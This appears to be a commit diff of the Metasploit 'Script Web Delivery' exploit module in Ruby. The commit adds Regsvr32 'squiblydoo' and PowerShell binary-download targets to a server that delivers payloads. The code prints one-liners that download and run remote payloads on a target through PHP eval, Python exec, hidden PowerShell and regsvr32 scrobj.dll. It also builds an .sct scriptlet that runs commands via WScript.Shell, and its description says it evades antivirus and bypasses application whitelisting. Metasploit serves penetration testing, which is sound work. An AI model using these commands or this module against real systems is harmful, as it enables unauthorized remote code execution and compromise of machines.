8
8
class MetasploitModule < Msf ::Exploit ::Remote
9
9
Rank = ManualRanking
10
10
11
+ include Msf ::Exploit ::EXE
11
12
include Msf ::Exploit ::Powershell
12
13
include Msf ::Exploit ::Remote ::HttpServer
13
14
14
15
def initialize ( info = { } )
15
16
super ( update_info ( info ,
16
17
'Name' => 'Script Web Delivery' ,
17
18
'Description' => %q(
18
- This module quickly fires up a web server that serves a payload.
19
- The provided command will start the specified scripting language interpreter and then download and execute the
20
- payload. The main purpose of this module is to quickly establish a session on a target
21
- machine when the attacker has to manually type in the command himself, e.g. Command Injection,
22
- RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not
23
- write to disk so it is less likely to trigger AV solutions and will allow privilege
24
- escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
25
- payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
26
- x86 payloads on x64 machines.
19
+ This module quickly fires up a web server that serves a payload.
20
+ The provided command which will allow for a payload to download and execute.
21
+ It will do it either specified scripting language interpreter or "squiblydoo" via regsvr32.exe
22
+ for bypassing application whitelisting. The main purpose of this module is to quickly establish
23
+ a session on a target machine when the attacker has to manually type in the command:
24
+ e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution.
25
+ This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege
26
+ escalations supplied by Meterpreter.
27
+
28
+ When using either of the PSH targets, ensure the payload architecture matches the target computer
29
+ or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.
30
+
31
+ Regsvr32 uses "squiblydoo" technique for bypassing application whitelisting.
32
+ The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included
33
+ PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute)
34
+ can occur on the same port.
35
+
36
+ "PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.
27
37
) ,
28
38
'License' => MSF_LICENSE ,
29
39
'Author' =>
30
40
[
31
41
'Andrew Smith "jakx" <[email protected] >' ,
32
42
'Ben Campbell' ,
33
- 'Chris Campbell' # @obscuresec - Inspiration n.b. no relation!
43
+ 'Chris Campbell' , # @obscuresec - Inspiration n.b. no relation!
44
+ 'Casey Smith' , # AppLocker bypass research and vulnerability discovery (@subTee)
45
+ 'Trenton Ivey' , # AppLocker MSF Module (kn0)
46
+ 'g0tmi1k' , # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
34
47
] ,
35
48
'DefaultOptions' =>
36
49
{
37
50
'Payload' => 'python/meterpreter/reverse_tcp'
38
51
} ,
39
52
'References' =>
40
53
[
41
- [ 'URL' , 'http ://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html' ] ,
42
- [ 'URL' , 'http ://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ] ,
54
+ [ 'URL' , 'https ://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html' ] ,
55
+ [ 'URL' , 'https ://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ] ,
43
56
[ 'URL' , 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/' ] ,
44
- [ 'URL' , 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html' ]
57
+ [ 'URL' , 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html' ] ,
58
+ [ 'URL' , 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html' ] ,
45
59
] ,
46
60
'Platform' => %w( python php win ) ,
47
61
'Targets' =>
@@ -57,45 +71,114 @@ def initialize(info = {})
57
71
[ 'PSH' , {
58
72
'Platform' => 'win' ,
59
73
'Arch' => [ ARCH_X86 , ARCH_X64 ]
74
+ } ] ,
75
+ [ 'Regsvr32' , {
76
+ 'Platform' => 'win' ,
77
+ 'Arch' => [ ARCH_X86 , ARCH_X64 ]
78
+ } ] ,
79
+ [ 'PSH (Binary)' , {
80
+ 'Platform' => 'win' ,
81
+ 'Arch' => [ ARCH_X86 , ARCH_X64 ]
60
82
} ]
61
83
] ,
62
84
'DefaultTarget' => 0 ,
63
85
'DisclosureDate' => 'Jul 19 2013'
64
86
) )
87
+
88
+ register_advanced_options (
89
+ [
90
+ OptBool . new ( 'PSH-Proxy' , [ true , 'PSH - Use the system proxy' , true ] ) ,
91
+ OptString . new ( 'PSHBinary-PATH' , [ false , 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)' , '' ] ) ,
92
+ OptString . new ( 'PSHBinary-FILENAME' , [ false , 'PSH (Binary) - The filename to use (Will be random if left blank)' , '' ] ) ,
93
+ ] , self . class
94
+ )
95
+ end
96
+
97
+
98
+ def primer
99
+ php = %Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{ get_uri } '));")
100
+ python = %Q(python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{ get_uri } ');exec(r.read());")
101
+ regsvr = %Q(regsvr32 /s /n /u /i:#{ get_uri } .sct scrobj.dll)
102
+
103
+ print_status ( "Run the following command on the target machine:" )
104
+ case target . name
105
+ when 'PHP'
106
+ print_line ( "#{ php } " )
107
+ when 'Python'
108
+ print_line ( "#{ python } " )
109
+ when 'PSH'
110
+ psh = gen_psh ( "#{ get_uri } " , "string" )
111
+ print_line ( "#{ psh } " )
112
+ when 'Regsvr32'
113
+ print_line ( "#{ regsvr } " )
114
+ when 'PSH (Binary)'
115
+ psh = gen_psh ( "#{ get_uri } " , "download" )
116
+ print_line ( "#{ psh } " )
117
+ end
65
118
end
66
119
120
+
67
121
def on_request_uri ( cli , _request )
68
- print_status ( 'Delivering Payload' )
69
- if target . name . include? 'PSH'
122
+ if _request . raw_uri =~ /\. sct$/
123
+ psh = gen_psh ( "#{ get_uri } " , "string" )
124
+ data = gen_sct_file ( psh )
125
+ elsif target . name . include? 'PSH (Binary)'
126
+ data = generate_payload_exe
127
+ elsif target . name . include? 'PSH' or target . name . include? 'Regsvr32'
70
128
data = cmd_psh_payload ( payload . encoded ,
71
129
payload_instance . arch . first ,
72
130
remove_comspec : true ,
73
131
exec_in_place : true
74
132
)
75
133
else
76
- data = %Q(#{ payload . encoded } )
134
+ data = %Q(#{ payload . encoded } )
135
+ end
136
+
137
+ if _request . raw_uri =~ /\. sct$/
138
+ print_status ( "Handling .sct Request" )
139
+ send_response ( cli , data , 'Content-Type' => 'text/plain' )
140
+ else
141
+ print_status ( "Delivering Payload" )
142
+ send_response ( cli , data , 'Content-Type' => 'application/octet-stream' )
77
143
end
78
- send_response ( cli , data , 'Content-Type' => 'application/octet-stream' )
79
144
end
80
145
81
- def primer
82
- url = get_uri
83
- print_status ( 'Run the following command on the target machine:' )
84
- case target . name
85
- when 'PHP'
86
- print_line ( "php -d allow_url_fopen=true -r \" eval(file_get_contents('#{ url } '));\" " )
87
- when 'Python'
88
- print_line ( 'Python:' )
89
- print_line ( "python -c \" import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{ url } ');exec(r.read());\" " )
90
- when 'PSH'
146
+
147
+ def gen_psh ( url , *method )
91
148
ignore_cert = Rex ::Powershell ::PshMethods . ignore_ssl_certificate if ssl
92
- download_string = Rex ::Powershell ::PshMethods . proxy_aware_download_and_exec_string ( url )
149
+
150
+ if method . include? 'string'
151
+ download_string = datastore [ 'PSH-Proxy' ] ? ( Rex ::Powershell ::PshMethods . proxy_aware_download_and_exec_string ( url ) ) : ( Rex ::Powershell ::PshMethods . download_and_exec_string ( url ) )
152
+ else
153
+ # Random filename to use, if there isn't anything set
154
+ random = "#{ rand_text_alphanumeric 8 } .exe"
155
+
156
+ # Set filename (Use random filename if empty)
157
+ filename = datastore [ 'BinaryEXE-FILENAME' ] . blank? ? random : datastore [ 'BinaryEXE-FILENAME' ]
158
+
159
+ # Set path (Use %TEMP% if empty)
160
+ path = datastore [ 'BinaryEXE-PATH' ] . blank? ? "$env:temp" : %Q('#{ datastore [ 'BinaryEXE-PATH' ] } ')
161
+
162
+ # Join Path and Filename
163
+ file = %Q(echo (#{ path } +'\\ #{ filename } '))
164
+
165
+ # Generate download PowerShell command
166
+ download_string = Rex ::Powershell ::PshMethods . download_run ( url , file )
167
+ end
168
+
93
169
download_and_run = "#{ ignore_cert } #{ download_string } "
94
- print_line generate_psh_command_line (
95
- noprofile : true ,
96
- windowstyle : 'hidden' ,
97
- command : download_and_run
98
- )
99
- end
170
+
171
+ # Generate main PowerShell command
172
+ return generate_psh_command_line ( noprofile : true , windowstyle : 'hidden' , command : download_and_run )
173
+ end
174
+
175
+
176
+ def rand_class_id
177
+ "#{ Rex ::Text . rand_text_hex 8 } -#{ Rex ::Text . rand_text_hex 4 } -#{ Rex ::Text . rand_text_hex 4 } -#{ Rex ::Text . rand_text_hex 4 } -#{ Rex ::Text . rand_text_hex 12 } "
178
+ end
179
+
180
+
181
+ def gen_sct_file ( command )
182
+ %{<?XML version="1.0"?><scriptlet><registration progid="#{ rand_text_alphanumeric 8 } " classid="{#{ rand_class_id } }"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{ command } ",0);]]></script></registration></scriptlet>}
100
183
end
101
184
end
0 commit comments